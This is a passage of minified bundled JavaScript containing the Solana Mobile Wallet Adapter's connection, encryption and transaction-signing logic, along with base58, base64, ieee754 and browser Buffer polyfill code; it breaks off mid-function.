r=e.startsWith("/")?e:[...Qw(n.pathname),...Qw(e)].join("/");return new URL(r,n)}function Sj(e,t,n){return wo(this,void 0,void 0,function*(){const r=RC(t),o=yield crypto.subtle.exportKey("raw",e),i=bj(o),s=wj("v1/associate/local",n);return s.searchParams.set("association",Ij(i)),s.searchParams.set("port",`${r}`),s})}const wp={Firefox:0,Other:1};function Ej(){return navigator.userAgent.indexOf("Firefox/")!==-1?wp.Firefox:wp.Other}function Aj(){return new Promise((e,t)=>{function n(){clearTimeout(o),window.removeEventListener("blur",r)}function r(){n(),e()}window.addEventListener("blur",r);const o=setTimeout(()=>{n(),t()},2e3)})}let xc=null;function Mj(e){xc==null&&(xc=document.createElement("iframe"),xc.style.display="none",document.body.appendChild(xc)),xc.contentWindow.location.href=e.toString()}function Cj(e,t){return wo(this,void 0,void 0,function*(){const n=yj(),r=yield Sj(e,n,t);if(r.protocol==="https:")window.location.assign(r);else try{const o=Ej();switch(o){case wp.Firefox:Mj(r);break;case wp.Other:{const i=Aj();window.location.assign(r),yield i;break}default:}}catch{throw new pa(ha.ERROR_WALLET_NOT_FOUND,"Found no installed wallet that supports the mobile wallet protocol.")}return n})}const _w={retryDelayScheduleMs:[150,150,200,500,500,750,750,1e3],timeoutMs:3e4},kj="com.solana.mobilewalletadapter.v1";function xj(){if(typeof window>"u"||window.isSecureContext!==!0)throw new pa(ha.ERROR_SECURE_CONTEXT_REQUIRED,"The mobile wallet adapter protocol must be used in a secure context (`https`).")}function Oj(e){let t;try{t=new URL(e)}catch{throw new pa(ha.ERROR_FORBIDDEN_WALLET_BASE_URL,"Invalid base URL supplied by wallet")}if(t.protocol!=="https:")throw new pa(ha.ERROR_FORBIDDEN_WALLET_BASE_URL,"Base URLs supplied by wallets must be valid `https` URLs")}function zj(e){return new DataView(e).getUint32(0,!1)}function Kj(e,t){return wo(this,void 0,void 0,function*(){xj();const n=yield fj(),r=yield Cj(n.publicKey,t==null?void 0:t.baseUri),o=`ws://localhost:${r}/solana-wallet`;let i;const s=(()=>{const c=[..._w.retryDelayScheduleMs];return()=>c.length>1?c.shift():c[0]})();let a=1,l=0,u={__type:"disconnected"};return new Promise((c,f)=>{let p;const m={},g=()=>wo(this,void 0,void 0,function*(){if(u.__type!=="connecting"){console.warn(`Expected adapter state to be \`connecting\` at the moment the websocket opens. Got \`${u.__type}\`.`);return}const{associationKeypair:R}=u;p.removeEventListener("open",g);const K=yield hj();p.send(yield cj(K.publicKey,R.privateKey)),u={__type:"hello_req_sent",associationPublicKey:R.publicKey,ecdhPrivateKey:K.privateKey}}),v=R=>{R.wasClean?u={__type:"disconnected"}:f(new pa(ha.ERROR_SESSION_CLOSED,`The wallet session dropped unexpectedly (${R.code}: ${R.reason}).`,{closeEvent:R})),M()},I=R=>wo(this,void 0,void 0,function*(){M(),Date.now()-i>=_w.timeoutMs?f(new pa(ha.ERROR_SESSION_TIMEOUT,`Failed to connect to the wallet websocket on port ${r}.`)):(yield new Promise(K=>{const W=s();E=window.setTimeout(K,W)}),x())}),q=R=>wo(this,void 0,void 0,function*(){const K=yield R.data.arrayBuffer();switch(u.__type){case"connected":try{const W=K.slice(0,bu),j=zj(W);if(j!==l+1)throw new Error("Encrypted message has invalid sequence number");l=j;const H=yield mj(K,u.sharedSecret),P=m[H.id];delete m[H.id],P.resolve(H.result)}catch(W){if(W instanceof zC){const j=m[W.jsonRpcMessageId];delete m[W.jsonRpcMessageId],j.reject(W)}else throw W}break;case"hello_req_sent":{const W=yield gj(K,u.associationPublicKey,u.ecdhPrivateKey);u={__type:"connected",sharedSecret:W};const j=new Proxy({},{get(H,P){if(H[P]==null){const U=P.toString().replace(/[A-Z]/g,X=>`_${X.toLowerCase()}`).toLowerCase();H[P]=function(X){return wo(this,void 0,void 0,function*(){const L=a++;return p.send(yield pj({id:L,jsonrpc:"2.0",method:U,params:X??{}},W)),new Promise((h,b)=>{m[L]={resolve(w){switch(P){case"authorize":case"reauthorize":{const{wallet_uri_base:A}=w;if(A!=null)try{Oj(A)}catch(C){b(C);return}break}}h(w)},reject:b}})})}}return H[P]},defineProperty(){return!1},deleteProperty(){return!1}});try{c(yield e(j))}catch(H){f(H)}finally{M(),p.close()}break}}});let M,E;const x=()=>{M&&M(),u={__type:"connecting",associationKeypair:n},i===void 0&&(i=Date.now()),p=new WebSocket(o,[kj]),p.addEventListener("open",g),p.addEventListener("close",v),p.addEventListener("error",I),p.addEventListener("message",q),M=()=>{window.clearTimeout(E),p.removeEventListener("open",g),p.removeEventListener("close",v),p.removeEventListener("error",I),p.removeEventListener("message",q)}};x()})})}function Rj(e){if(e.length>=255)throw new TypeError("Alphabet too long");for(var t=new Uint8Array(256),n=0;n<t.length;n++)t[n]=255;for(var r=0;r<e.length;r++){var o=e.charAt(r),i=o.charCodeAt(0);if(t[i]!==255)throw new TypeError(o+" is ambiguous");t[i]=r}var s=e.length,a=e.charAt(0),l=Math.log(s)/Math.log(256),u=Math.log(256)/Math.log(s);function c(m){if(m instanceof Uint8Array||(ArrayBuffer.isView(m)?m=new Uint8Array(m.buffer,m.byteOffset,m.byteLength):Array.isArray(m)&&(m=Uint8Array.from(m))),!(m instanceof Uint8Array))throw new TypeError("Expected Uint8Array");if(m.length===0)return"";for(var g=0,v=0,I=0,q=m.length;I!==q&&m[I]===0;)I++,g++;for(var M=(q-I)*u+1>>>0,E=new Uint8Array(M);I!==q;){for(var x=m[I],R=0,K=M-1;(x!==0||R<v)&&K!==-1;K--,R++)x+=256*E[K]>>>0,E[K]=x%s>>>0,x=x/s>>>0;if(x!==0)throw new Error("Non-zero carry");v=R,I++}for(var W=M-v;W!==M&&E[W]===0;)W++;for(var j=a.repeat(g);W<M;++W)j+=e.charAt(E[W]);return j}function f(m){if(typeof m!="string")throw new TypeError("Expected String");if(m.length===0)return new Uint8Array;for(var g=0,v=0,I=0;m[g]===a;)v++,g++;for(var q=(m.length-g)*l+1>>>0,M=new Uint8Array(q);m[g];){var E=t[m.charCodeAt(g)];if(E===255)return;for(var x=0,R=q-1;(E!==0||x<I)&&R!==-1;R--,x++)E+=s*M[R]>>>0,M[R]=E%256>>>0,E=E/256>>>0;if(E!==0)throw new Error("Non-zero carry");I=x,g++}for(var K=q-I;K!==q&&M[K]===0;)K++;for(var W=new Uint8Array(v+(q-K)),j=v;K!==q;)W[j++]=M[K++];return W}function p(m){var g=f(m);if(g)return g;throw new Error("Non-base"+s+" character")}return{encode:c,decodeUnsafe:f,decode:p}}var Lj=Rj;const Zj=Lj,Tj="123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";var Nj=Zj(Tj);function Vv(e,t){var n={};for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&t.indexOf(r)<0&&(n[r]=e[r]);if(e!=null&&typeof Object.getOwnPropertySymbols=="function")for(var o=0,r=Object.getOwnPropertySymbols(e);o<r.length;o++)t.indexOf(r[o])<0&&Object.prototype.propertyIsEnumerable.call(e,r[o])&&(n[r[o]]=e[r[o]]);return n}function Rf(e,t,n,r){function o(i){return i instanceof n?i:new n(function(s){s(i)})}return new(n||(n=Promise))(function(i,s){function a(c){try{u(r.next(c))}catch(f){s(f)}}function l(c){try{u(r.throw(c))}catch(f){s(f)}}function u(c){c.done?i(c.value):o(c.value).then(a,l)}u((r=r.apply(e,t||[])).next())})}function LC(e){return window.btoa(String.fromCharCode.call(null,...e))}function Uv(e){return new Uint8Array(window.atob(e).split("").map(t=>t.charCodeAt(0)))}function $w(e){const t="version"in e?e.serialize():e.serialize({requireAllSignatures:!1,verifySignatures:!1});return LC(t)}function jj(e){const n=e[0]*Sd+1;return o1.deserializeMessageVersion(e.slice(n,e.length))==="legacy"?jr.from(e):Lo.deserialize(e)}function Wj(e,t){return Rf(this,void 0,void 0,function*(){return yield Kj(r=>{const o=new Proxy({},{get(i,s){if(i[s]==null)switch(s){case"signAndSendTransactions":i[s]=function(a){var{minContextSlot:l,transactions:u}=a,c=Vv(a,["minContextSlot","transactions"]);return Rf(this,void 0,void 0,function*(){const f=u.map($w),{signatures:p}=yield r.signAndSendTransactions(Object.assign(Object.assign(Object.assign({},c),l!=null?{options:{min_context_slot:l}}:null),{payloads:f}));return p.map(Uv).map(Nj.encode)})};break;case"signMessages":i[s]=function(a){var{payloads:l}=a,u=Vv(a,["payloads"]);return Rf(this,void 0,void 0,function*(){const c=l.map(LC),{signed_payloads:f}=yield r.signMessages(Object.assign(Object.assign({},u),{payloads:c}));return f.map(Uv)})};break;case"signTransactions":i[s]=function(a){var{transactions:l}=a,u=Vv(a,["transactions"]);return Rf(this,void 0,void 0,function*(){const c=l.map($w),{signed_payloads:f}=yield r.signTransactions(Object.assign(Object.assign({},u),{payloads:c}));return f.map(Uv).map(jj)})};break;default:{i[s]=r[s];break}}return i[s]},defineProperty(){return!1},deleteProperty(){return!1}});return e(o)},t)})}function Sn(e,t,n,r){function o(i){return i instanceof n?i:new n(function(s){s(i)})}return new(n||(n=Promise))(function(i,s){function a(c){try{u(r.next(c))}catch(f){s(f)}}function l(c){try{u(r.throw(c))}catch(f){s(f)}}function u(c){c.done?i(c.value):o(c.value).then(a,l)}u((r=r.apply(e,t||[])).next())})}function Gj(e){return new Uint8Array(window.atob(e).split("").map(t=>t.charCodeAt(0)))}function Yj(){return typeof window<"u"&&window.isSecureContext&&typeof document<"u"&&/android/i.test(navigator.userAgent)}const Xu="Mobile Wallet Adapter",Bj=64;function Jj(e){const t=Gj(e);return new ht(t)}function eS(e){return"version"in e}class Vj extends Xd{constructor(t){super(),this.supportedTransactionVersions=new Set(["legacy",0]),this.name=Xu,this.url="https://solanamobile.com/wallets",this.icon="data:image/svg+xml;base64,PHN2ZyBmaWxsPSJub25lIiBoZWlnaHQ9IjI4IiB3aWR0aD0iMjgiIHZpZXdCb3g9Ii0zIDAgMjggMjgiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PGcgZmlsbD0iI0RDQjhGRiI+PHBhdGggZD0iTTE3LjQgMTcuNEgxNXYyLjRoMi40di0yLjRabTEuMi05LjZoLTIuNHYyLjRoMi40VjcuOFoiLz48cGF0aCBkPSJNMjEuNiAzVjBoLTIuNHYzaC0zLjZWMGgtMi40djNoLTIuNHY2LjZINC41YTIuMSAyLjEgMCAxIDEgMC00LjJoMi43VjNINC41QTQuNSA0LjUgMCAwIDAgMCA3LjVWMjRoMjEuNnYtNi42aC0yLjR2NC4ySDIuNFYxMS41Yy41LjMgMS4yLjQgMS44LjVoNy41QTYuNiA2LjYgMCAwIDAgMjQgOVYzaC0yLjRabTAgNS43YTQuMiA0LjIgMCAxIDEtOC40IDBWNS40aDguNHYzLjNaIi8+PC9nPjwvc3ZnPg==",this._connecting=!1,this._connectionGeneration=0,this._readyState=Yj()?Wt.Loadable:Wt.Unsupported,this._authorizationResultCache=t.authorizationResultCache,this._addressSelector=t.addressSelector,this._appIdentity=t.appIdentity,this._cluster=t.cluster,this._onWalletNotFound=t.onWalletNotFound,this._readyState!==Wt.Unsupported&&this._authorizationResultCache.get().then(n=>{n&&this.declareWalletAsInstalled()})}get publicKey(){if(this._publicKey==null&&this._selectedAddress!=null)try{this._publicKey=Jj(this._selectedAddress)}catch(t){throw new Ni(t instanceof Error&&(t==null?void 0:t.message)||"Unknown error",t)}return this._publicKey?this._publicKey:null}get connected(){return!!this._authorizationResult}get connecting(){return this._connecting}get readyState(){return this._readyState}declareWalletAsInstalled(){this._readyState!==Wt.Installed&&this.emit("readyStateChange",this._readyState=Wt.Installed)}runWithGuard(t){return Sn(this,void 0,void 0,function*(){try{return yield t()}catch(n){throw this.emit("error",n),n}})}autoConnect_DO_NOT_USE_OR_YOU_WILL_BE_FIRED(){return Sn(this,void 0,void 0,function*(){return yield this.autoConnect()})}autoConnect(){return Sn(this,void 0,void 0,function*(){if(!(this.connecting||this.connected))return yield this.runWithGuard(()=>Sn(this,void 0,void 0,function*(){if(this._readyState!==Wt.Installed&&this._readyState!==Wt.Loadable)throw new Ti;this._connecting=!0;try{const t=yield this._authorizationResultCache.get();t&&this.handleAuthorizationResult(t)}catch(t){throw new gs(t instanceof Error&&t.message||"Unknown error",t)}finally{this._connecting=!1}}))})}connect(){return Sn(this,void 0,void 0,function*(){if(!(this.connecting||this.connected))return yield this.runWithGuard(()=>Sn(this,void 0,void 0,function*(){if(this._readyState!==Wt.Installed&&this._readyState!==Wt.Loadable)throw new Ti;this._connecting=!0;try{const t=yield this._authorizationResultCache.get();if(t){this.handleAuthorizationResult(t);return}yield this.transact(n=>Sn(this,void 0,void 0,function*(){const r=yield n.authorize({cluster:this._cluster,identity:this._appIdentity});Promise.all([this._authorizationResultCache.set(r),this.handleAuthorizationResult(r)])}))}catch(t){throw new gs(t instanceof Error&&t.message||"Unknown error",t)}finally{this._connecting=!1}}))})}handleAuthorizationResult(t){var n;return Sn(this,void 0,void 0,function*(){const r=this._authorizationResult==null||((n=this._authorizationResult)===null||n===void 0?void 0:n.accounts.length)!==t.accounts.length||this._authorizationResult.accounts.some((o,i)=>o.address!==t.accounts[i].address);if(this._authorizationResult=t,this.declareWalletAsInstalled(),r){const o=yield this._addressSelector.select(t.accounts.map(({address:i})=>i));o!==this._selectedAddress&&(this._selectedAddress=o,delete this._publicKey,this.emit("connect",this.publicKey))}})}performReauthorization(t,n){return Sn(this,void 0,void 0,function*(){try{const r=yield t.reauthorize({auth_token:n});Promise.all([this._authorizationResultCache.set(r),this.handleAuthorizationResult(r)])}catch(r){throw this.disconnect(),new dc(r instanceof Error&&(r==null?void 0:r.message)||"Unknown error",r)}})}disconnect(){return Sn(this,void 0,void 0,function*(){this._authorizationResultCache.clear(),this._connecting=!1,this._connectionGeneration++,delete this._authorizationResult,delete this._publicKey,delete this._selectedAddress,this.emit("disconnect")})}transact(t){var n;return Sn(this,void 0,void 0,function*(){const r=(n=this._authorizationResult)===null||n===void 0?void 0:n.wallet_uri_base,o=r?{baseUri:r}:void 0,i=this._connectionGeneration;try{return yield Wj(t,o)}catch(s){throw this._connectionGeneration!==i&&(yield new Promise(()=>{})),s instanceof Error&&s.name==="SolanaMobileWalletAdapterError"&&s.code==="ERROR_WALLET_NOT_FOUND"&&(yield this._onWalletNotFound(this)),s}})}assertIsAuthorized(){if(!this._authorizationResult||!this._selectedAddress)throw new In;return{authToken:this._authorizationResult.auth_token,selectedAddress:this._selectedAddress}}performSignTransactions(t){return Sn(this,void 0,void 0,function*(){const{authToken:n}=this.assertIsAuthorized();try{return yield this.transact(r=>Sn(this,void 0,void 0,function*(){return yield this.performReauthorization(r,n),yield r.signTransactions({transactions:t})}))}catch(r){throw new cr(r==null?void 0:r.message,r)}})}sendTransaction(t,n,r){return Sn(this,void 0,void 0,function*(){return yield this.runWithGuard(()=>Sn(this,void 0,void 0,function*(){const{authToken:o}=this.assertIsAuthorized(),i=r==null?void 0:r.minContextSlot;try{return yield this.transact(s=>Sn(this,void 0,void 0,function*(){function a(){let f;switch(n.commitment){case"confirmed":case"finalized":case"processed":f=n.commitment;break;default:f="finalized"}let p;switch(r==null?void 0:r.preflightCommitment){case"confirmed":case"finalized":case"processed":p=r.preflightCommitment;break;case void 0:p=f;default:p="finalized"}return(p==="finalized"?2:p==="confirmed"?1:0)<(f==="finalized"?2:f==="confirmed"?1:0)?p:f}const[l,u,c]=yield Promise.all([s.getCapabilities(),this.performReauthorization(s,o),eS(t)?null:Sn(this,void 0,void 0,function*(){var f;if(t.feePayer||(t.feePayer=(f=this.publicKey)!==null&&f!==void 0?f:void 0),t.recentBlockhash==null){const{blockhash:p}=yield n.getLatestBlockhash({commitment:a()});t.recentBlockhash=p}})]);if(l.supports_sign_and_send_transactions)return(yield s.signAndSendTransactions({minContextSlot:i,transactions:[t]}))[0];{const[f]=yield s.signTransactions({transactions:[t]});if(eS(f))return yield n.sendTransaction(f);{const p=f.serialize();return yield n.sendRawTransaction(p,Object.assign(Object.assign({},r),{preflightCommitment:a()}))}}}))}catch(s){throw new zi(s==null?void 0:s.message,s)}}))})}signTransaction(t){return Sn(this,void 0,void 0,function*(){return yield this.runWithGuard(()=>Sn(this,void 0,void 0,function*(){const[n]=yield this.performSignTransactions([t]);return n}))})}signAllTransactions(t){return Sn(this,void 0,void 0,function*(){return yield this.runWithGuard(()=>Sn(this,void 0,void 0,function*(){return yield this.performSignTransactions(t)}))})}signMessage(t){return Sn(this,void 0,void 0,function*(){return yield this.runWithGuard(()=>Sn(this,void 0,void 0,function*(){const{authToken:n,selectedAddress:r}=this.assertIsAuthorized();try{return yield this.transact(o=>Sn(this,void 0,void 0,function*(){yield this.performReauthorization(o,n);const[i]=yield o.signMessages({addresses:[r],payloads:[t]});return i.slice(-Bj)}))}catch(o){throw new ql(o==null?void 0:o.message,o)}}))})}}function Uj(){return{select(e){return Sn(this,void 0,void 0,function*(){return e[0]})}}}const Fv="SolanaMobileWalletAdapterDefaultAuthorizationCache";function Fj(){let e;try{e=window.localStorage}catch{}return{clear(){return Sn(this,void 0,void 0,function*(){if(e)try{e.removeItem(Fv)}catch{}})},get(){return Sn(this,void 0,void 0,function*(){if(e)try{return JSON.parse(e.getItem(Fv))||void 0}catch{}})},set(t){return Sn(this,void 0,void 0,function*(){if(e)try{e.setItem(Fv,JSON.stringify(t))}catch{}})}}}function Hj(e){return Sn(this,void 0,void 0,function*(){typeof window<"u"&&window.location.assign(e.url)})}function Pj(){return Hj}function Dj(e,t,n,r,o,i){Ce(e,(s,a)=>{const l=s==null?void 0:s.adapter,u=a==null?void 0:a.adapter;!l||!u||l.name!==u.name&&u.name!==Xu&&u.disconnect()}),Gn(s=>{var a;const l=(a=e.value)==null?void 0:a.adapter;if(!l)return;const u=()=>{o()},c=()=>{t.value||n.value||r(!0)},f=p=>i(p,l);l.on("connect",u),l.on("disconnect",c),l.on("error",f),s(()=>{l.off("connect",u),l.off("disconnect",c),l.off("error",f)})})}function Xj(e,t,n,r,o,i,s){const a=D(e),l=D(!1);return Ce(t,()=>{l.value=!1}),Gn(()=>{l.value||!a.value||!t.value||!i.value||o.value||r.value||(async()=>{if(t.value){r.value=!0,l.value=!0;try{n.value?await t.value.adapter.autoConnect_DO_NOT_USE_OR_YOU_WILL_BE_FIRED():await t.value.adapter.connect()}catch{s()}finally{r.value=!1}}})()}),a}function Qj(e){const t=_j(),n=$j(),r=N(()=>e8(e.value,t)),o=N(()=>r.value===1);return{userAgent:t,uriForAppIdentity:n,environment:r,isMobile:o}}let Hv;function _j(){var e,t;return Hv===void 0&&(Hv=(t=(e=globalThis.navigator)==null?void 0:e.userAgent)!=null?t:null),Hv}function $j(){const e=globalThis.location;return e==null?null:`${e.protocol}//${e.host}`}function e8(e,t){return e.some(o=>o.name!==Xu&&o.readyState===Wt.Installed)?0:t&&t8(t)&&!n8(t)?1:0}function t8(e){return/android/i.test(e)}function n8(e){return/(WebView|Version\/.+(Chrome)\/(\d+)\.(\d+)\.(\d+)\.(\d+)|; wv\).+(Chrome)\/(\d+)\.(\d+)\.(\d+)\.(\d+))/i.test(e)}function r8(e,t){return(n,r)=>e.value?n:t?(t(n,r),n):(console.error(n,r),n instanceof Ti&&typeof window<"u"&&r&&window.open(r.url,"_blank"),n)}function o8(e,t,n,r){const o=N(()=>{if(!t.value)return null;const i=e.value.find(s=>s.name===Xu);return i||new Vj({addressSelector:Uj(),appIdentity:{uri:n||void 0},authorizationResultCache:Fj(),cluster:r.value,onWalletNotFound:Pj()})});return N(()=>o.value==null||e.value.indexOf(o.value)!==-1?e.value:[o.value,...e.value])}function i8(e){Gn(t=>{function n(r){const o=e.value,i=o.findIndex(({adapter:s})=>s===this);i!==-1&&(e.value=[...o.slice(0,i),{adapter:this,readyState:r},...o.slice(i+1)])}e.value.forEach(({adapter:r})=>r.on("readyStateChange",n,r)),t(()=>e.value.forEach(({adapter:r})=>r.off("readyStateChange",n,r)))})}function s8(e,t){const n=PN(e,t.value?Xu:null),r=N(()=>n.value===Xu),o=N(()=>r.value&&t.value);return{name:n,isUsingMwaAdapter:r,isUsingMwaAdapterOnMobile:o,select:a=>{n.value!==a&&(n.value=a)},deselect:(a=!0)=>{(a||r.value)&&(n.value=null)}}}function Pv(e){switch(e){case"processed":case"confirmed":case"finalized":case void 0:return e;case"recent":return"processed";case"single":case"singleGossip":return"confirmed";case"max":case"root":return"finalized";default:return}}const tS="solana:mainnet",a8="solana:devnet",l8="solana:testnet",u8="solana:localnet",c8="https://api.mainnet-beta.solana.com";function d8(e){return e.includes(c8)?tS:/\bdevnet\b/i.test(e)?a8:/\btestnet\b/i.test(e)?l8:/\blocalhost\b/i.test(e)||/\b127\.0\.0\.1\b/.test(e)?u8:tS}function f8(e,t){if(e===t)return!0;const n=e.length;if(n!==t.length)return!1;for(let r=0;r<n;r++)if(e[r]!==t[r])return!1;return!0}var bg={exports:{}},ZC={},qm={};qm.byteLength=m8;qm.toByteArray=g8;qm.fromByteArray=I8;var ki=[],xo=[],h8=typeof Uint8Array<"u"?Uint8Array:Array,Dv="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";for(var _l=0,p8=Dv.length;_l<p8;++_l)ki[_l]=Dv[_l],xo[Dv.charCodeAt(_l)]=_l;xo[45]=62;xo[95]=63;function TC(e){var t=e.length;if(t%4>0)throw new Error("Invalid string. Length must be a multiple of 4");var n=e.indexOf("=");n===-1&&(n=t);var r=n===t?0:4-n%4;return[n,r]}function m8(e){var t=TC(e),n=t[0],r=t[1];return(n+r)*3/4-r}function v8(e,t,n){return(t+n)*3/4-n}function g8(e){var t,n=TC(e),r=n[0],o=n[1],i=new h8(v8(e,r,o)),s=0,a=o>0?r-4:r,l;for(l=0;l<a;l+=4)t=xo[e.charCodeAt(l)]<<18|xo[e.charCodeAt(l+1)]<<12|xo[e.charCodeAt(l+2)]<<6|xo[e.charCodeAt(l+3)],i[s++]=t>>16&255,i[s++]=t>>8&255,i[s++]=t&255;return o===2&&(t=xo[e.charCodeAt(l)]<<2|xo[e.charCodeAt(l+1)]>>4,i[s++]=t&255),o===1&&(t=xo[e.charCodeAt(l)]<<10|xo[e.charCodeAt(l+1)]<<4|xo[e.charCodeAt(l+2)]>>2,i[s++]=t>>8&255,i[s++]=t&255),i}function y8(e){return ki[e>>18&63]+ki[e>>12&63]+ki[e>>6&63]+ki[e&63]}function b8(e,t,n){for(var r,o=[],i=t;i<n;i+=3)r=(e[i]<<16&16711680)+(e[i+1]<<8&65280)+(e[i+2]&255),o.push(y8(r));return o.join("")}function I8(e){for(var t,n=e.length,r=n%3,o=[],i=16383,s=0,a=n-r;s<a;s+=i)o.push(b8(e,s,s+i>a?a:s+i));return r===1?(t=e[n-1],o.push(ki[t>>2]+ki[t<<4&63]+"==")):r===2&&(t=(e[n-2]<<8)+e[n-1],o.push(ki[t>>10]+ki[t>>4&63]+ki[t<<2&63]+"=")),o.join("")}var f1={};/*! ieee754. BSD-3-Clause License. Feross Aboukhadijeh <https://feross.org/opensource> */f1.read=function(e,t,n,r,o){var i,s,a=o*8-r-1,l=(1<<a)-1,u=l>>1,c=-7,f=n?o-1:0,p=n?-1:1,m=e[t+f];for(f+=p,i=m&(1<<-c)-1,m>>=-c,c+=a;c>0;i=i*256+e[t+f],f+=p,c-=8);for(s=i&(1<<-c)-1,i>>=-c,c+=r;c>0;s=s*256+e[t+f],f+=p,c-=8);if(i===0)i=1-u;else{if(i===l)return s?NaN:(m?-1:1)*(1/0);s=s+Math.pow(2,r),i=i-u}return(m?-1:1)*s*Math.pow(2,i-r)};f1.write=function(e,t,n,r,o,i){var s,a,l,u=i*8-o-1,c=(1<<u)-1,f=c>>1,p=o===23?Math.pow(2,-24)-Math.pow(2,-77):0,m=r?0:i-1,g=r?1:-1,v=t<0||t===0&&1/t<0?1:0;for(t=Math.abs(t),isNaN(t)||t===1/0?(a=isNaN(t)?1:0,s=c):(s=Math.floor(Math.log(t)/Math.LN2),t*(l=Math.pow(2,-s))<1&&(s--,l*=2),s+f>=1?t+=p/l:t+=p*Math.pow(2,1-f),t*l>=2&&(s++,l/=2),s+f>=c?(a=0,s=c):s+f>=1?(a=(t*l-1)*Math.pow(2,o),s=s+f):(a=t*Math.pow(2,f-1)*Math.pow(2,o),s=0));o>=8;e[n+m]=a&255,m+=g,a/=256,o-=8);for(s=s<<o|a,u+=o;u>0;e[n+m]=s&255,m+=g,s/=256,u-=8);e[n+m-g]|=v*128};/*!
 * The buffer module from node.js, for the browser.
 *
 * @author   Feross Aboukhadijeh <https://feross.org>
 * @license  MIT
 */(function(e){const t=qm,n=f1,r=typeof Symbol=="function"&&typeof Symbol.for=="function"?Symbol.for("nodejs.util.inspect.custom"):null;e.Buffer=a,e.SlowBuffer=M,e.INSPECT_MAX_BYTES=50;const o=2147483647;e.kMaxLength=o,a.TYPED_ARRAY_SUPPORT=i(),!a.TYPED_ARRAY_SUPPORT&&typeof console<"u"&&typeof console.error=="function"&&console.error("This browser lacks typed array (Uint8Array) support which is required by `buffer` v5.x. Use `buffer` v4.x if you require old browser support.");function i(){try{const Q=new Uint8Array(1),J={foo:function(){return 42}};return Object.setPrototypeOf(J,Uint8Array.prototype),Object.setPrototypeOf(Q,J),Q.foo()===42}catch{return!1}}Object.defineProperty(a.prototype,"parent",{enumerable:!0,get:function(){if(a.isBuffer(this))return this.buffer}}),Object.defineProperty(a.prototype,"offset",{enumerable:!0,get:function(){if(a.isBuffer(this))return this.byteOffset}});function s(Q){if(Q>o)throw new RangeError('The value "'+Q+'" is invalid for option "size"');const J=new Uint8Array(Q);return Object.setPrototypeOf(J,a.prototype),J}function a(Q,J,V){if(typeof Q=="number"){if(typeof J=="string")throw new TypeError('The "string" argument must be of type string. Received type number');return f(Q)}return l(Q,J,V)}a.poolSize=8192;function l(Q,J,V){if(typeof Q=="string")return p(Q,J);if(ArrayBuffer.isView(Q))return g(Q);if(Q==null)throw new TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+typeof Q);if(xe(Q,ArrayBuffer)||Q&&xe(Q.buffer,ArrayBuffer)||typeof SharedArrayBuffer<"u"&&(xe(Q,SharedArrayBuffer)||Q&&xe(Q.buffer,SharedArrayBuffer)))return v(Q,J,V);if(typeof Q=="number")throw new TypeError('The "value" argument must not be of type number. Received type number');const G=Q.valueOf&&Q.valueOf();if(G!=null&&G!==Q)return a.from(G,J,V);const O=I(Q);if(O)return O;if(typeof Symbol<"u"&&Symbol.toPrimitive!=null&&typeof Q[Symbol.toPrimitive]=="function")return a.from(Q[Symbol.toPrimitive]("string"),J,V);throw new TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+typeof Q)}a.from=function(Q,J,V){return l(Q,J,V)},Object.setPrototypeOf(a.prototype,Uint8Array.prototype),Object.setPrototypeOf(a,Uint8Array);function u(Q){if(typeof Q!="number")throw new TypeError('"size" argument must be of type number');if(Q<0)throw new RangeError('The value "'+Q+'" is invalid for option "size"')}function c(Q,J,V){return u(Q),Q<=0?s(Q):J!==void 0?typeof V=="string"?s(Q).fill(J,V):s(Q).fill(J):s(Q)}a.alloc=function(Q,J,V){return c(Q,J,V)};function f(Q){return u(Q),s(Q<0?0:q(Q)|0)}a.allocUnsafe=function(Q){return f(Q)},a.allocUnsafeSlow=function(Q){return f(Q)};function p(Q,J){if((typeof J!="string"||J==="")&&(J="utf8"),!a.isEncoding(J))throw new TypeError("Unknown encoding: "+J);const V=E(Q,J)|0;let G=s(V);const O=G.write(Q,J);return O!==V&&(G=G.slice(0,O)),G}function m(Q){const J=Q.length<0?0:q(Q.length)|0,V=s(J);for(let G=0;G<J;G+=1)V[G]=Q[G]&255;return V}function g(Q){if(xe(Q,Uint8Array)){const J=new Uint8Array(Q);return v(J.buffer,J.byteOffset,J.byteLength)}return m(Q)}function v(Q,J,V){if(J<0||Q.byteLength<J)throw new RangeError('"offset" is outside of buffer bounds');if(Q.byteLength<J+(V||0))throw new RangeError('"length" is outside of buffer bounds');let G;return J===void 0&&V===void 0?G=new Uint8Array(Q):V===void 0?G=new Uint8Array(Q,J):G=new Uint8Array(Q,J,V),Object.setPrototypeOf(G,a.prototype),G}function I(Q){if(a.isBuffer(Q)){const J=q(Q.length)|0,V=s(J);return V.length===0||Q.copy(V,0,0,J),V}if(Q.length!==void 0)return typeof Q.length!="number"||Re(Q.length)?s(0):m(Q);if(Q.type==="Buffer"&&Array.isArray(Q.data))return m(Q.data)}function q(Q){if(Q>=o)throw new RangeError("Attempt to allocate Buffer larger than maximum size: 0x"+o.toString(16)+" bytes");return Q|0}function M(Q){return+Q!=Q&&(Q=0),a.alloc(+Q)}a.isBuffer=function(J){return J!=null&&J._isBuffer===!0&&J!==a.prototype},a.compare=function(J,V){if(xe(J,Uint8Array)&&(J=a.from(J,J.offset,J.byteLength)),xe(V,Uint8Array)&&(V=a.from(V,V.offset,V.byteLength)),!a.isBuffer(J)||!a.isBuffer(V))throw new TypeError('The "buf1", "buf2" arguments must be one of type Buffer or Uint8Array');if(J===V)return 0;let G=J.length,O=V.length;for(let Z=0,Y=Math.min(G,O);Z<Y;++Z)if(J[Z]!==V[Z]){G=J[Z],O=V[Z];break}return G<O?-1:O<G?1:0},a.isEncoding=function(J){switch(String(J).toLowerCase()){case"hex":case"utf8":case"utf-8":case"ascii":case"latin1":case"binary":case"base64":case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return!0;default:return!1}},a.concat=function(J,V){if(!Array.isArray(J))throw new TypeError('"list" argument must be an Array of Buffers');if(J.length===0)return a.alloc(0);let G;if(V===void 0)for(V=0,G=0;G<J.length;++G)V+=J[G].length;const O=a.allocUnsafe(V);let Z=0;for(G=0;G<J.length;++G){let 